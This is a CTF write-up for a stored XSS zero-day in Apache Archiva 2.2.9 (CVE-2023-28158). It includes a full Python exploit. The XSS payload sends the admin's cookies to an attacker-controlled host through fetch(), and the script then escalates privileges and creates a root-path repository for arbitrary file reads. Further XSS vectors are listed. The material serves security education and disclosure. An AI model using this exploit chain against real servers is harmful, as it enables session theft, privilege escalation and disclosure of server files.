hxp CTF 2022: archived writeup

Writeup to the zero-day challenge archived of our recent CTF targeting Apache Archiva, version 2.2.9. The vulnerability of this challenge got CVE-2023-28158.

To explain, I’ll use the local setup at http://localhost:8055

The setup has two users pre-set: ctf with password H4v3Fun, having artifact upload rights and admin with an unknown password, having full admin rights. The goal is to elevate the ctf users privileges and gain arbitrary read access to the server.

Step 1: Stored XSS

For this, we need to somehow leak the admin’s credentials using XSS.

The admin (see admin.py supplied with the challenge) only accesses http://localhost:8055/repository/internal. The goal is also to somehow store an XSS payload in the internal repository root.

The given user only has permission to upload a file into the internal repository.

# Upload random data: this data does not matter at all, it's just so we can call the upload-get
POST http://localhost:8055/restServices/archivaUiServices/fileUploadService
files={
    "files[]": ("lol", "data") #
}

# Upload actual payload
GET http://localhost:8055/restServices/archivaUiServices/fileUploadService/save/internal/%20/%20/%20/<img src=a onerror=alert(1)>

Payload explained:

Calling the save endpoint triggers DefaultFileUploadService.java#save (code) which later triggers DefaultFileUploadService.java#saveFile gets called with the arguments:

  • repositoryId: internal
  • groupId: %20
  • artifactId: %20
  • version: %20
  • packaging: <img src=a onerror=alert(1)>

The upload form does not spaces since the input of these arguments, but they can be sent directly bypassing the frontend. At the server, the input is trimmed, leading to empty variables, and the uploaded file to be stored in /archiva-data/repositories/internal/ directly.

Filename: /archiva-data/repositories/internal/-.<img src=a onerror=alert(1)>

When accessing http://localhost:8055/repository/internal/, the direct repository view (WebDAV) will format to the file like following:

"<tr><td><a class=\"file\" href=\"" + resourceName + "\">" + resourceName + "</a></td><td class=\"size\">..."

Thus, the filepath is completely unsanitized and therefore the above example gets rendered like so:

<tr><td><a class="file" href="-.<img src=a onerror=alert(1)>">-.<img src=a onerror=alert(1)></a></td><td class="size">4&nbsp;&nbsp;</td><td class="date">3/12/23 6:26 AM</td></tr>

which will trigger the alert(1).

Starting from this PoC, we write simple cookie extraction code <img src=a onerror="fetch(String.fromCharCode(47)+String.fromCharCode(47)+'{my_host}:{my_port}'+String.fromCharCode(47)+btoa(document.cookie))"> (we need to escape / since the server checks in DefaultFileUploadService.java#hasValidChars that / (FileSystems.getDefault().getSeparator()) is not in the string).

Step 2: Arbitrary File Read as a Service

Using the admin’s cookie, we can now elevate our own permissions or just wreak havoc using the admin account (redacted admin password for convenience reasons: hxp_l0ves_U_FwR1O0ZEL [the last bytes are just to prevent guessing]), but we still do not yet have access to /flag.txt on the server.

Conveniently, archiva provides us the option to create new repositories:

root

If we ignore all warnings and errors, archiva will just create the repository which can be accessed via http://localhost:8055/repository/root/ giving us complete read access to the entire system.

root leak

We can not just open flag.txt to claim our prize.

hxp{xSS_h3re_Xs5_ther3_X5S_ev3rywhere}

Step 3: RCE?

In theory it could maybe somehow be possible to elevate the arbitrary read and the nearly arbitrary write access (with the technique explained in Step 1) into remote code execution, but I was not able to do so, therefore the challenge does not go further than Step 2.

What breaks it for me is the mandatory - and . in the filename since I couldn’t abuse the naming convention in a way to overwrite a relevant file. Additionally, in the archiva-docker template I used, JSP was disabled by default and I didn’t want to artificially enable it or add a suspiciously named health check.

flag explained

During the creation and review of this challenge, we found more XSS vulnerabilities. Analysis and further exploitation is left to the reader. Credits and thanks go to hlt.

# this will trigger the exact same bug as in direct repository view
http://localhost:8055/#rest-docs-archiva-rest-api/%2e%2e%2f%2e%2e%2frepository%2finternal%2f

# this was at least vulnerable in a previous version, but I couldn't reproduce it in the current version (but my archiva instance might also be broken by now)
http://localhost:8055/#artifact-dependency-graph~internal/a/b/<script>alert(1);<!--

pwn.py

#!/usr/bin/env python3

import requests
import urllib
import base64
import sys
import argparse
from http.server import HTTPServer, BaseHTTPRequestHandler
from socketserver import ThreadingMixIn
from threading import Thread
import re
import uuid
import time
import json
import subprocess
import socket

USERNAME = "ctf"
PASSWORD = "H4v3Fun"

FLAG = False

HOST = ""
PORT = 0
ADMIN_PORT = 0
MY_HOST = ""
MY_PORT = 0

xsrf = None

s = requests.Session()

def login_user():
    print("[+] Login ctf user", file=sys.stderr)

    r = s.post(f"http://{HOST}:{PORT}/restServices/redbackServices/loginService/logIn",
        headers = {
            "Accept": "application/json, text/javascript, */*; q=0.01",
            "X-Requested-With": "XMLHttpRequest",
            "Origin": f"http://{HOST}:{PORT}",
            "Referer": f"http://{HOST}:{PORT}/",
        },
        json = {
            "username":USERNAME,
            "password":PASSWORD,
        }
    )
    assert r.status_code == 200, f"Cannot login to ctf user"

    ret = json.loads(r.text)
    return ret["validationToken"]


def xss(xsrf):
    # upload "file"
    r = s.post(f"http://{HOST}:{PORT}/restServices/archivaUiServices/fileUploadService",
        headers = {
            "Accept": "application/json, text/javascript, */*; q=0.01",
            "X-Requested-With": "XMLHttpRequest",
            "Origin": f"http://{HOST}:{PORT}",
            "Referer": f"http://{HOST}:{PORT}/",
            "X-XSRF-TOKEN": xsrf
        },
        files = {
            "files[]": ("lol", "data")
        }
    )
    assert r.status_code == 200

    payload = f'''"><img src=a onerror="fetch(String.fromCharCode(47)+String.fromCharCode(47)+'{MY_HOST}:{MY_PORT}'+String.fromCharCode(47)+btoa(document.cookie))">'''

    # upload payload
    url = f"http://{HOST}:{PORT}/restServices/archivaUiServices/fileUploadService/save/internal/%20/%20/%20/{payload}"
    print("[+] Upload", url, file=sys.stderr)
    r = s.get(url)
    assert r.status_code == 200 and r.text == "true"


class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        global FLAG
        cookie = self.path[1:]
        # content_len = int(self.headers.get('Content-Length'))
        # flag = self.rfile.read(content_len)
        cookie = base64.b64decode(cookie)
        print("[+] cookie", cookie, file=sys.stderr)
        m = re.search(rb"JSESSIONID=(?P<sess>\w*)", cookie)
        assert m
        session_id = m.group("sess").decode()
        m = re.search(rb"archiva_login=(?P<login>%7B.*%7D)", cookie)
        assert m
        archiva_login = m.group("login").decode()
        validation_token = json.loads(urllib.parse.unquote(archiva_login))["validationToken"]

        cookie = {
            "JSESSIONID": session_id,
            "archiva_login": archiva_login
        }
        # print(cookie)
        # print(token)
        # validation_token = urllib.parse.quote(validation_token)

        print(f"[+] JSESSIONID {session_id}", file=sys.stderr)
        print(f"[+] ValidationToken {validation_token}", file=sys.stderr)
        # m = re.search(rb"flag=(?P<flag>hxp\{.*\})", cookie)
        s = requests.Session()

        headers = {
            "Accept": "application/json, text/javascript, */*; q=0.01",
            "X-Requested-With": "XMLHttpRequest",
            "Origin": f"http://{HOST}:{PORT}",
            "Referer": f"http://{HOST}:{PORT}/",
            "X-XSRF-TOKEN": validation_token
        }

        print("[+] Give CTF user the rule of 'System Administrator'", file=sys.stderr)
        r = s.post(f"http://{HOST}:{PORT}/restServices/redbackServices/roleManagementService/updateUserRoles",
        headers=headers,
        cookies=cookie,
        json={
            "username":USERNAME,
            "assignedRoles":[
                "Registered User",
                "System Administrator"
            ]
        })
        print(r.status_code)
        print(r.text)
        assert r.status_code == 200 and r.text == "true", "Cannot update user role of ctf user"

        print("[+] Add root repository", file=sys.stderr)
        s.post(f"http://{HOST}:{PORT}/restServices/archivaServices/managedRepositoriesService/addManagedRepository",
        headers=headers,
        cookies=cookie,
        json={
            "id":"root",
            "name":"root",
            "layout":"default",
            "location":"/",
            "cronExpression":"0 0 * * * ?",
            "scanned":False,
            "snapshots":False,
            "releases":False,
            "blockRedeployments":False,
            "skipPackedIndexCreation":False,
            "modified":True
        })
        assert r.status_code == 200 and r.text == "true", "Cannot add root repository"

        print("[+] Read flag", file=sys.stderr)
        r = s.get(f"http://{HOST}:{PORT}/repository/root/flag.txt",
        headers=headers,
        cookies=cookie)

        # Print flag
        print(r.text)
        instancer_pwn.kill()

class ThreadingSimpleServer(ThreadingMixIn, HTTPServer):
    pass

def server():
    print('[+] http server started', file=sys.stderr)
    server = ThreadingSimpleServer(('0.0.0.0', MY_PORT), Handler)
    server.handle_request()


def admin(host, admin_port, port):
    """
    Call admin
    """
    s = socket.socket()
    s.connect((host, admin_port))
    print(f"[a] Connected to {host}:{admin_port}", file=sys.stderr)
    # we don't care that local setup does not expect input
    s.sendall(instancer_pwn.username + b"\n" + instancer_pwn.password + b"\n" + str(port).encode() + b"\n")
    print(instancer_pwn.receive_until(s, b"Done visiting\n"), file=sys.stderr)
    print('[a] Admin called', file=sys.stderr)


if __name__ == "__main__":
    s = requests.Session()

    # connect with token to get archiva-cookies
    r = s.get(f"http://{HOST}:{PORT}/")
    assert r.status_code == 200

    xsrf = login_user()
    print(f"[+] Using XSRF {xsrf}", file=sys.stderr)

    xss(xsrf)

    server_thread = Thread(target=server, daemon=True)
    server_thread.start()

    print(f"[+] call admin", file=sys.stderr)

    admin(HOST, ADMIN_PORT, PORT)

    server_thread.join()